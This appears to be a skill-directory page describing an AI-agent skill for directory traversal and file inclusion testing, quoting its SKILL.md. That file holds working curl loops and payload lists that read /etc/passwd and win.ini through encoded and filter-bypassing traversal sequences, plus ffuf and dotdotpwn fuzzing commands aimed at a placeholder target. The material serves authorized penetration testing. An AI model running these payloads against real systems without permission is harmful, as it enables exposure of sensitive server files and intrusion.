Skip to content
Skillpedia
Testing35k · #6054

performing-directory-traversal-testing

Teaches your AI agent to test code and catch bugs before users do and protect apps against attacks.

What it does

This tool helps test websites for security flaws that allow access to unintended files. It tries to 'trick' the website into revealing system files or files from other users.

When to use it

  • ✓When you have permission to test a website's security.
  • ✓When checking if a website securely allows file downloads or views.
  • ✓When you suspect the website might expose sensitive information.

Example of what to ask your AI

“Check if the website lets me view the /etc/passwd file using a link like this: [website link]?file=../../../etc/passwd”

Want more? Open the sections below.

How to use

The easiest way: copy the message below and paste it into Claude, ChatGPT, Cursor or any AI. It reads the skill and follows the instructions.

Skill link

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-directory-traversal-testing/SKILL.md

Ready-to-paste message

Use this skill to help me: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/performing-directory-traversal-testing/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
How it works

The tool tries different ways to 'escape' the expected directory, using sequences like '../' or special encodings. It also uses automated programs to test many combinations quickly.

Installation

Easiest way: copy the skill link and paste it into Claude, ChatGPT or Cursor asking it to follow the instructions.

In the terminal (Claude Code, Codex, Cursor), in your project folder:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill performing-directory-traversal-testing

Or download just the file:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/performing-directory-traversal-testing/SKILL.md -o SKILL.md
Technical content (original SKILL.md)

Original text by the author, straight from GitHub.

Performing Directory Traversal Testing

When to Use

  • During authorized penetration tests when the application handles file paths in URL parameters or request bodies
  • When testing file download, file view, or file include functionality
  • For assessing Local File Inclusion (LFI) and Remote File Inclusion (RFI) vulnerabilities
  • When evaluating template engines, logging systems, or report generators that reference files
  • During security assessments of APIs that accept file names or paths as parameters

Prerequisites

  • Authorization: Written penetration testing agreement for the target
  • Burp Suite Professional: For intercepting and modifying file path parameters
  • ffuf: For fuzzing file path parameters with traversal payloads
  • dotdotpwn: Automated directory traversal fuzzer (apt install dotdotpwn)
  • SecLists: Traversal payload wordlists from Daniel Miessler's collection
  • curl: For manual testing of traversal payloads

Workflow

Step 1: Identify File Path Parameters

Find application endpoints that reference files through parameters.

# Common file-handling patterns to look for:
# /download?file=report.pdf
# /view?page=about.html
# /api/files?path=documents/invoice.pdf
# /template?name=header.html
# /include?module=sidebar
# /image?src=photos/avatar.jpg
# /export?format=csv&template=default

# In Burp Suite, search proxy history for file-related parameters
# Filter by parameter names: file, path, page, template, include,
# module, src, doc, document, folder, dir, name, filename

# Test with a known valid file to establish baseline
curl -s "https://target.example.com/download?file=report.pdf" -o /dev/null -w "%{http_code} %{size_download}"

# Try referencing a file that shouldn't be accessible
curl -s "https://target.example.com/download?file=../../../etc/passwd"

Step 2: Test Basic Directory Traversal Payloads

Attempt to escape the intended directory and read sensitive files.

# Linux traversal payloads
PAYLOADS=(
  "../../../etc/passwd"
  "../../../../etc/passwd"
  "../../../../../etc/passwd"
  "../../../../../../etc/passwd"
  "../../../../../../../etc/passwd"
  "..%2f..%2f..%2fetc%2fpasswd"
  "..%252f..%252f..%252fetc%252fpasswd"
  "%2e%2e/%2e%2e/%2e%2e/etc/passwd"
  "....//....//....//etc/passwd"
  "..;/..;/..;/etc/passwd"
)

for payload in "${PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  response=$(curl -s "https://target.example.com/download?file=$payload")
  if echo "$response" | grep -q "root:"; then
    echo "VULNERABLE"
  else
    echo "Blocked"
  fi
done

# Windows traversal payloads
WIN_PAYLOADS=(
  "..\..\..\windows\win.ini"
  "..%5c..%5c..%5cwindows%5cwin.ini"
  "..\/..\/..\/windows/win.ini"
  "....\\....\\....\\windows\\win.ini"
)

for payload in "${WIN_PAYLOADS[@]}"; do
  echo -n "Testing: $payload -> "
  curl -s "https://target.example.com/download?file=$payload" | head -c 100
  echo
done

Step 3: Apply Encoding and Filter Bypass Techniques

Use various encoding schemes to bypass input validation filters.

# URL encoding bypass
curl -s "https://target.example.com/download?file=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

# Double URL encoding
curl -s "https://target.example.com/download?file=%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# UTF-8 encoding
curl -s "https://target.example.com/download?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd"

# Null byte injection (PHP < 5.3.4)
curl -s "https://target.example.com/download?file=../../../etc/passwd%00.pdf"

# Path truncation (Windows)
# Exceeding MAX_PATH (260 chars) to bypass extension checks
LONG_PATH="../../../etc/passwd"
for i in $(seq 1 200); do LONG_PATH="${LONG_PATH}/."; done
curl -s "https://target.example.com/download?file=$LONG_PATH"

# Case manipulation (Windows)
curl -s "https://target.example.com/download?file=..\..\..\..\WiNdOwS\win.ini"

# Dot-dot-slash variations
curl -s "https://target.example.com/download?file=....//....//....//etc/passwd"
curl -s "https://target.example.com/download?file=....//../../../etc/passwd"

# Using absolute path (if filter only blocks relative traversal)
curl -s "https://target.example.com/download?file=/etc/passwd"

Step 4: Automate with ffuf and dotdotpwn

Use automated tools for comprehensive traversal testing.

# ffuf with traversal payload list
ffuf -u "https://target.example.com/download?file=FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 \
  -fs 0 \

…
FAQ

What is 'path traversal'?

It's a security vulnerability where an attacker can access files outside the intended directory on the web server, using paths like '../'.

What are LFI and RFI?

LFI (Local File Inclusion) is when an attacker can include and read files from the server itself. RFI (Remote File Inclusion) is when an attacker can include and execute files from an external server.

Do I need permission to use this tool?

Yes, it is crucial to have explicit written authorization before testing any system. Unauthorized testing is illegal.

Details

Original description by the author

Test web applications for path traversal and Local/Remote File Inclusion vulnerabilities by manipulating file path parameters, applying encoding and filter-bypass techniques, automating discovery with ffuf and dotdotpwn, and reading high-value files or achieving code execution. Use during authorized penetration tests of file download, view, or include functionality, or when assessing APIs that acc

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularity

GitHub stars
35k
Ranking position
#6054
License
Apache-2.0
Updated
8/31/2026

Is this skill useful?

0

Sign in to vote.

Comments

  • …

More skills from this repository

Similar skills